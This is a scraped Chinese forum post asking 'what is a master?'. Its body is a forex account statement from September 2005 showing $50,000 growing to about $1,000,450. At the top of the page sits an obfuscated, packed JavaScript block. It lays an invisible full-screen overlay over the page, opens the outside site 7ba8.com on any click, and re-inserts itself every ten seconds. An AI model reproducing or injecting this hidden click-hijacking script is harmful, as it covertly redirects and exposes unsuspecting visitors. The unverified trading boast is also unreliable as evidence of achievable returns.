什么叫高手?

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>A C C O U N T A C T I V I T Y Time Posted Code Description Ticket Amount Balance
09/09/2005, 13:54 Depos Deposit 00000000 50,000.00 50,000.00
09/11/2005, 22:17 PnL Profit/loss of trade 03356300 0.00 50,000.00
09/11/2005, 22:45 PnL Profit/loss of trade 03356414 -5,400.00 44,600.00
09/11/2005, 22:51 PnL Profit/loss of trade 03356423 -4,800.00 39,800.00
09/12/2005, 02:04 PnL Profit/loss of trade 03356950 -1,400.00 38,400.00
09/12/2005, 02:10 PnL Profit/loss of trade 03357191 2,100.00 40,500.00
09/12/2005, 02:25 PnL Profit/loss of trade 03357249 0.00 40,500.00
09/12/2005, 02:44 PnL Profit/loss of trade 03357303 2,450.00 42,950.00
09/12/2005, 02:56 PnL Profit/loss of trade 03357352 700.00 43,650.00
09/12/2005, 03:13 PnL Profit/loss of trade 03357414 1,400.00 45,050.00
09/12/2005, 03:28 PnL Profit/loss of trade 03357492 1,050.00 46,100.00
09/12/2005, 03:47 PnL Profit/loss of trade 03357594 0.00 46,100.00
09/12/2005, 03:52 PnL Profit/loss of trade 03357607 0.00 46,100.00
09/12/2005, 04:02 PnL Profit/loss of trade 03357640 1,600.00 47,700.00
09/12/2005, 04:12 PnL Profit/loss of trade 03357673 800.00 48,500.00
09/12/2005, 04:19 PnL Profit/loss of trade 03357688 450.00 48,950.00
09/12/2005, 04:28 PnL Profit/loss of trade 03357696 1,800.00 50,750.00
09/12/2005, 04:57 PnL Profit/loss of trade 03357778 1,800.00 52,550.00
09/12/2005, 08:24 PnL Profit/loss of trade 03358104 3,000.00 55,550.00
09/12/2005, 08:32 PnL Profit/loss of trade 03358356 -500.00 55,050.00
09/12/2005, 08:40 PnL Profit/loss of trade 03358430 -1,500.00 53,550.00
09/12/2005, 08:54 PnL Profit/loss of trade 03358469 7,000.00 60,550.00
09/12/2005, 09:10 PnL Profit/loss of trade 03358599 1,500.00 62,050.00
09/12/2005, 09:27 PnL Profit/loss of trade 03358661 600.00 62,650.00
09/12/2005, 09:32 PnL Profit/loss of trade 03358701 -3,000.00 59,650.00
09/12/2005, 09:42 PnL Profit/loss of trade 03358751 3,480.00 63,130.00
09/12/2005, 09:53 PnL Profit/loss of trade 03358811 -3,600.00 59,530.00
09/12/2005, 10:44 PnL Profit/loss of trade 03358917 -9,180.00 50,350.00
09/12/2005, 20:39 PnL Profit/loss of trade 03360201 -5,706.52 44,643.48
09/12/2005, 21:22 PnL Profit/loss of trade 03360568 -4,800.00 39,843.48
09/13/2005, 04:55 PnL Profit/loss of trade 03360580 3,300.00 43,143.48
09/13/2005, 05:01 PnL Profit/loss of trade 03361717 2,400.00 45,543.48
09/13/2005, 05:20 PnL Profit/loss of trade 03361752 2,800.00 48,343.48
09/13/2005, 06:10 PnL Profit/loss of trade 03361824 8,400.00 56,743.48
09/13/2005, 07:33 PnL Profit/loss of trade 03362154 1,200.00 57,943.48
09/13/2005, 07:34 PnL Profit/loss of trade 03362160 100.00 58,043.48
09/13/2005, 07:34 PnL Profit/loss of trade 03362161 -300.00 57,743.48
09/13/2005, 07:56 PnL Profit/loss of trade 03362221 -500.00 57,243.48
09/13/2005, 08:35 PnL Profit/loss of trade 03362284 14,500.00 71,743.48
09/13/2005, 08:43 PnL Profit/loss of trade 03362446 1,500.00 73,243.48
09/13/2005, 08:55 PnL Profit/loss of trade 03362525 1,400.00 74,643.48
09/13/2005, 09:07 PnL Profit/loss of trade 03362554 -700.00 73,943.48
09/13/2005, 09:11 PnL Profit/loss of trade 03362620 3,500.00 77,443.48
09/13/2005, 09:17 PnL Profit/loss of trade 03362674 4,900.00 82,343.48
09/13/2005, 09:23 PnL Profit/loss of trade 03362709 1,400.00 83,743.48
09/13/2005, 10:09 PnL Profit/loss of trade 03362909 6,300.00 90,043.48
09/13/2005, 11:18 PnL Profit/loss of trade 03363211 800.00 90,843.48
09/13/2005, 11:32 PnL Profit/loss of trade 03363230 -11,200.00 79,643.48
09/13/2005, 17:13 Intr Interest fee 03363332 -350.00 79,293.48
09/13/2005, 19:03 PnL Profit/loss of trade 03363332 15,400.00 94,693.48
09/14/2005, 01:21 PnL Profit/loss of trade 03365043 900.00 95,593.48
09/14/2005, 02:15 PnL Profit/loss of trade 03365144 4,500.00 100,093.48
09/14/2005, 02:16 PnL Profit/loss of trade 03365174 900.00 100,993.48
09/14/2005, 02:24 PnL Profit/loss of trade 03365180 4,500.00 105,493.48
09/14/2005, 02:36 PnL Profit/loss of trade 03365213 1,800.00 107,293.48
09/14/2005, 02:43 PnL Profit/loss of trade 03365223 -1,000.00 106,293.48
09/14/2005, 03:43 PnL Profit/loss of trade 03365399 12,000.00 118,293.48
09/14/2005, 03:44 PnL Profit/loss of trade 03365421 2,000.00 120,293.48
09/14/2005, 04:09 PnL Profit/loss of trade 03365486 -1,000.00 119,293.48
09/14/2005, 04:22 PnL Profit/loss of trade 03365544 10,000.00 129,293.48
09/14/2005, 04:24 PnL Profit/loss of trade 03365559 1,000.00 130,293.48
09/14/2005, 04:33 PnL Profit/loss of trade 03365597 4,800.00 135,093.48
09/14/2005, 04:38 PnL Profit/loss of trade 03365606 1,200.00 136,293.48
09/14/2005, 04:39 PnL Profit/loss of trade 03365611 0.00 136,293.48
09/14/2005, 04:59 PnL Profit/loss of trade 03365682 0.00 136,293.48
09/14/2005, 07:55 PnL Profit/loss of trade 03366240 1,200.00 137,493.48
09/14/2005, 08:14 PnL Profit/loss of trade 03366326 8,400.00 145,893.48
09/14/2005, 08:20 PnL Profit/loss of trade 03366376 7,200.00 153,093.48
09/14/2005, 08:24 PnL Profit/loss of trade 03366406 4,200.00 157,293.48
09/14/2005, 08:25 PnL Profit/loss of trade 03366422 7,000.00 164,293.48
09/14/2005, 08:30 PnL Profit/loss of trade 03366439 -15,000.00 149,293.48
09/14/2005, 08:36 PnL Profit/loss of trade 03366472 7,000.00 156,293.48
09/14/2005, 08:50 PnL Profit/loss of trade 03366599 1,400.00 157,693.48
09/14/2005, 08:56 PnL Profit/loss of trade 03366678 5,600.00 163,293.48
09/14/2005, 09:00 PnL Profit/loss of trade 03366721 2,800.00 166,093.48
09/14/2005, 09:03 PnL Profit/loss of trade 03366740 2,800.00 168,893.48
09/14/2005, 09:25 PnL Profit/loss of trade 03366800 0.00 168,893.48
09/14/2005, 09:37 PnL Profit/loss of trade 03366843 1,500.00 170,393.48
09/14/2005, 09:39 PnL Profit/loss of trade 03366855 1,500.00 171,893.48
09/14/2005, 10:03 PnL Profit/loss of trade 03366876 1,500.00 173,393.48
09/14/2005, 10:36 PnL Profit/loss of trade 03367095 24,000.00 197,393.48
09/14/2005, 10:37 PnL Profit/loss of trade 03367100 1,500.00 198,893.48
09/14/2005, 10:44 PnL Profit/loss of trade 03367156 9,000.00 207,893.48
09/14/2005, 19:09 PnL Profit/loss of trade 03368259 1,800.00 209,693.48
09/15/2005, 05:14 PnL Profit/loss of trade 03369629 -3,800.00 205,893.48
09/15/2005, 08:01 PnL Profit/loss of trade 03369968 -7,600.00 198,293.48
09/15/2005, 08:05 PnL Profit/loss of trade 03370010 -11,400.00 186,893.48
09/15/2005, 08:14 PnL Profit/loss of trade 03370027 -7,500.00 179,393.48
09/15/2005, 08:34 PnL Profit/loss of trade 03370087 -22,400.00 156,993.48
09/15/2005, 08:53 PnL Profit/loss of trade 03370113 -3,900.00 153,093.48
09/15/2005, 08:58 PnL Profit/loss of trade 03370269 2,600.00 155,693.48
09/15/2005, 09:50 PnL Profit/loss of trade 03370358 2,600.00 158,293.48
09/15/2005, 09:55 PnL Profit/loss of trade 03370519 1,300.00 159,593.48
09/15/2005, 10:08 PnL Profit/loss of trade 03370531 -12,000.00 147,593.48
09/15/2005, 10:26 PnL Profit/loss of trade 03370630 0.00 147,593.48
09/15/2005, 10:45 PnL Profit/loss of trade 03370702 3,900.00 151,493.48
09/15/2005, 12:08 PnL Profit/loss of trade 03371138 5,600.00 157,093.48
09/15/2005, 12:15 PnL Profit/loss of trade 03371210 12,600.00 169,693.48
09/15/2005, 12:34 PnL Profit/loss of trade 03371314 -7,500.00 162,193.48
09/15/2005, 12:48 PnL Profit/loss of trade 03371367 0.00 162,193.48
09/15/2005, 13:05 PnL Profit/loss of trade 03371415 4,500.00 166,693.48
09/15/2005, 13:16 PnL Profit/loss of trade 03371420 -4,500.00 162,193.48
09/15/2005, 13:43 PnL Profit/loss of trade 03371526 -1,500.00 160,693.48
09/15/2005, 13:44 PnL Profit/loss of trade 03371529 3,000.00 163,693.48
09/15/2005, 19:51 PnL Profit/loss of trade 03372123 4,500.00 168,193.48
09/15/2005, 21:40 PnL Profit/loss of trade 03372155 9,000.00 177,193.48
09/15/2005, 22:12 PnL Profit/loss of trade 03372510 6,400.00 183,593.48
09/15/2005, 22:14 PnL Profit/loss of trade 03372531 1,600.00 185,193.48
09/15/2005, 22:27 PnL Profit/loss of trade 03372555 1,700.00 186,893.48
09/15/2005, 22:45 PnL Profit/loss of trade 03372598 1,700.00 188,593.48
09/16/2005, 00:39 PnL Profit/loss of trade 03372971 13,600.00 202,193.48
09/16/2005, 00:41 PnL Profit/loss of trade 03372978 15,300.00 217,493.48
09/16/2005, 01:02 PnL Profit/loss of trade 03373023 -1,700.00 215,793.48
09/16/2005, 02:35 PnL Profit/loss of trade 03373427 0.00 215,793.48
09/16/2005, 02:39 PnL Profit/loss of trade 03373437 2,000.00 217,793.48
09/16/2005, 02:55 PnL Profit/loss of trade 03373457 6,000.00 223,793.48
09/16/2005, 06:17 PnL Profit/loss of trade 03373975 12,000.00 235,793.48
09/16/2005, 07:44 PnL Profit/loss of trade 03374041 -5,411.26 230,382.22
09/16/2005, 07:49 PnL Profit/loss of trade 03374268 4,000.00 234,382.22
09/16/2005, 08:22 PnL Profit/loss of trade 03374329 -10,000.00 224,382.22
09/16/2005, 08:37 PnL Profit/loss of trade 03374391 6,000.00 230,382.22
09/16/2005, 08:44 PnL Profit/loss of trade 03374423 4,000.00 234,382.22
09/16/2005, 09:04 PnL Profit/loss of trade 03374540 38,000.00 272,382.22
09/16/2005, 09:09 PnL Profit/loss of trade 03374576 -2,000.00 270,382.22
09/16/2005, 09:15 PnL Profit/loss of trade 03374614 4,000.00 274,382.22
09/16/2005, 09:17 PnL Profit/loss of trade 03374628 2,000.00 276,382.22
09/16/2005, 09:22 PnL Profit/loss of trade 03374653 4,000.00 280,382.22
09/16/2005, 09:48 PnL Profit/loss of trade 03374778 6,000.00 286,382.22
09/16/2005, 09:53 PnL Profit/loss of trade 03374807 -2,000.00 284,382.22
09/16/2005, 10:00 PnL Profit/loss of trade 03374857 6,000.00 290,382.22
09/16/2005, 10:14 PnL Profit/loss of trade 03374922 13,490.42 303,872.64
09/22/2005, 08:02 PnL Profit/loss of trade 03392780 -2,500.00 301,372.64
09/22/2005, 08:10 PnL Profit/loss of trade 03392849 -7,500.00 293,872.64
09/22/2005, 08:32 PnL Profit/loss of trade 03392963 -5,000.00 288,872.64
09/22/2005, 08:39 PnL Profit/loss of trade 03392993 -2,500.00 286,372.64
09/22/2005, 08:55 PnL Profit/loss of trade 03393074 -2,500.00 283,872.64
09/22/2005, 09:20 PnL Profit/loss of trade 03393255 2,500.00 286,372.64
09/22/2005, 09:25 PnL Profit/loss of trade 03393284 -5,000.00 281,372.64
09/22/2005, 09:32 PnL Profit/loss of trade 03393298 7,500.00 288,872.64
09/22/2005, 09:58 PnL Profit/loss of trade 03393418 7,500.00 296,372.64
09/22/2005, 10:03 PnL Profit/loss of trade 03393422 -50,000.00 246,372.64
09/22/2005, 10:25 PnL Profit/loss of trade 03393587 12,600.00 258,972.64
09/22/2005, 10:30 PnL Profit/loss of trade 03393632 27,500.00 286,472.64
09/22/2005, 10:32 PnL Profit/loss of trade 03393645 10,500.00 296,972.64
09/22/2005, 10:38 PnL Profit/loss of trade 03393698 15,000.00 311,972.64
09/22/2005, 10:46 PnL Profit/loss of trade 03393755 -33,600.00 278,372.64
09/22/2005, 10:54 PnL Profit/loss of trade 03393792 13,000.00 291,372.64
09/22/2005, 11:18 PnL Profit/loss of trade 03393882 7,800.00 299,172.64
09/22/2005, 11:42 PnL Profit/loss of trade 03393928 10,000.00 309,172.64
09/22/2005, 12:23 PnL Profit/loss of trade 03394066 2,500.00 311,672.64
09/22/2005, 12:27 PnL Profit/loss of trade 03394082 5,000.00 316,672.64
09/22/2005, 21:20 PnL Profit/loss of trade 03395373 12,500.00 329,172.64
09/22/2005, 21:28 PnL Profit/loss of trade 03395428 10,000.00 339,172.64
09/22/2005, 23:52 PnL Profit/loss of trade 03396084 0.00 339,172.64
09/23/2005, 00:01 PnL Profit/loss of trade 03396116 7,500.00 346,672.64
09/23/2005, 00:32 PnL Profit/loss of trade 03396173 -15,000.00 331,672.64
09/23/2005, 00:55 PnL Profit/loss of trade 03396242 4,478.28 336,150.92
09/23/2005, 01:33 PnL Profit/loss of trade 03396271 15,000.00 351,150.92
09/23/2005, 02:12 PnL Profit/loss of trade 03396382 0.00 351,150.92
09/23/2005, 02:54 PnL Profit/loss of trade 03396508 -10,000.00 341,150.92
09/23/2005, 04:05 PnL Profit/loss of trade 03396543 -25,000.00 316,150.92
09/23/2005, 04:53 PnL Profit/loss of trade 03396845 37,500.00 353,650.92
09/23/2005, 05:00 PnL Profit/loss of trade 03396877 -62,500.00 291,150.92
09/23/2005, 05:02 PnL Profit/loss of trade 03396901 42,500.00 333,650.92
09/23/2005, 05:05 PnL Profit/loss of trade 03396928 2,500.00 336,150.92
09/23/2005, 05:07 PnL Profit/loss of trade 03396938 22,500.00 358,650.92
09/23/2005, 05:13 PnL Profit/loss of trade 03396954 0.00 358,650.92
09/23/2005, 05:16 PnL Profit/loss of trade 03396982 7,500.00 366,150.92
09/23/2005, 05:17 PnL Profit/loss of trade 03396990 12,500.00 378,650.92
09/23/2005, 05:20 PnL Profit/loss of trade 03397011 5,000.00 383,650.92
09/23/2005, 05:22 PnL Profit/loss of trade 03397022 15,000.00 398,650.92
09/23/2005, 05:29 PnL Profit/loss of trade 03397048 2,500.00 401,150.92
09/23/2005, 05:34 PnL Profit/loss of trade 03397066 0.00 401,150.92
09/23/2005, 05:40 PnL Profit/loss of trade 03397097 5,000.00 406,150.92
09/23/2005, 05:48 PnL Profit/loss of trade 03397104 2,500.00 408,650.92
09/23/2005, 08:47 PnL Profit/loss of trade 03397676 2,500.00 411,150.92
09/23/2005, 08:49 PnL Profit/loss of trade 03397700 5,000.00 416,150.92
09/23/2005, 08:52 PnL Profit/loss of trade 03397730 17,500.00 433,650.92
09/23/2005, 09:00 PnL Profit/loss of trade 03397791 12,500.00 446,150.92
09/23/2005, 09:02 PnL Profit/loss of trade 03397817 20,000.00 466,150.92
09/26/2005, 07:16 PnL Profit/loss of trade 03402249 17,600.00 483,750.92
09/27/2005, 02:02 PnL Profit/loss of trade 03405038 -36,000.00 447,750.92
09/27/2005, 05:38 PnL Profit/loss of trade 03406365 36,900.00 484,650.92
09/27/2005, 07:50 PnL Profit/loss of trade 03406694 -36,000.00 448,650.92
09/27/2005, 08:30 PnL Profit/loss of trade 03406727 52,000.00 500,650.92
09/27/2005, 11:00 PnL Profit/loss of trade 03407388 82,800.00 583,450.92
09/29/2005, 04:47 PnL Profit/loss of trade 03414086 0.00 583,450.92
09/29/2005, 04:48 PnL Profit/loss of trade 03414100 -10,000.00 573,450.92
09/29/2005, 05:12 PnL Profit/loss of trade 03414104 -80,000.00 493,450.92
09/29/2005, 08:47 PnL Profit/loss of trade 03414625 117,000.00 610,450.92
09/29/2005, 08:56 PnL Profit/loss of trade 03414761 55,000.00 665,450.92
09/29/2005, 09:08 PnL Profit/loss of trade 03414830 25,000.00 690,450.92
09/29/2005, 10:15 PnL Profit/loss of trade 03415143 -10,000.00 680,450.92
09/29/2005, 10:27 PnL Profit/loss of trade 03415221 10,000.00 690,450.92
09/29/2005, 10:30 PnL Profit/loss of trade 03415232 -10,000.00 680,450.92
09/29/2005, 10:34 PnL Profit/loss of trade 03415240 10,000.00 690,450.92
09/29/2005, 10:45 PnL Profit/loss of trade 03415285 50,000.00 740,450.92
09/30/2005, 03:18 PnL Profit/loss of trade 03417640 85,000.00 825,450.92
09/30/2005, 04:09 PnL Profit/loss of trade 03417813 0.00 825,450.92
09/30/2005, 05:11 PnL Profit/loss of trade 03417924 0.00 825,450.92
09/30/2005, 08:43 PnL Profit/loss of trade 03418603 20,000.00 845,450.92
09/30/2005, 09:17 PnL Profit/loss of trade 03418649 5,000.00 850,450.92
09/30/2005, 10:19 PnL Profit/loss of trade 03418916 110,000.00 960,450.92
09/30/2005, 10:38 PnL Profit/loss of trade 03418960 -60,000.00 900,450.92
09/30/2005, 10:48 PnL Profit/loss of trade 03419063 -20,000.00 880,450.92
09/30/2005, 10:54 PnL Profit/loss of trade 03419147 0.00 880,450.92
09/30/2005, 11:00 PnL Profit/loss of trade 03419180 120,000.00 1,000,450.92
Total 1,000,450.92
A C C O U N T S U M M A R Y Beginning Balance 0.00
Comm Trading commission 0.00
Intr Interest fee -350.00
PnL Profit/loss of trade 950,800.92
Depos Deposit 50,000.00
Withd Withdrawal 0.00
Option Options Payout 0.00
Comm Options commission 0.00
WithdFee Withdrawal fee 0.00
MngFee Management fee 0.00
PerfFee Performance fee 0.00
Void Deposit Rollback 0.00
Ending Balance 1,000,450.92
Floating Profit/Loss 0.00
Equity 1,000,450.92
Necessary Margin 0.00
Usable Margin 1,000,450.92
全部以美金计算。
联系人:
联系方式:
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Copyright © 2020-2021 tigtag.com |网站地图  
快速回复 返回列表 返回顶部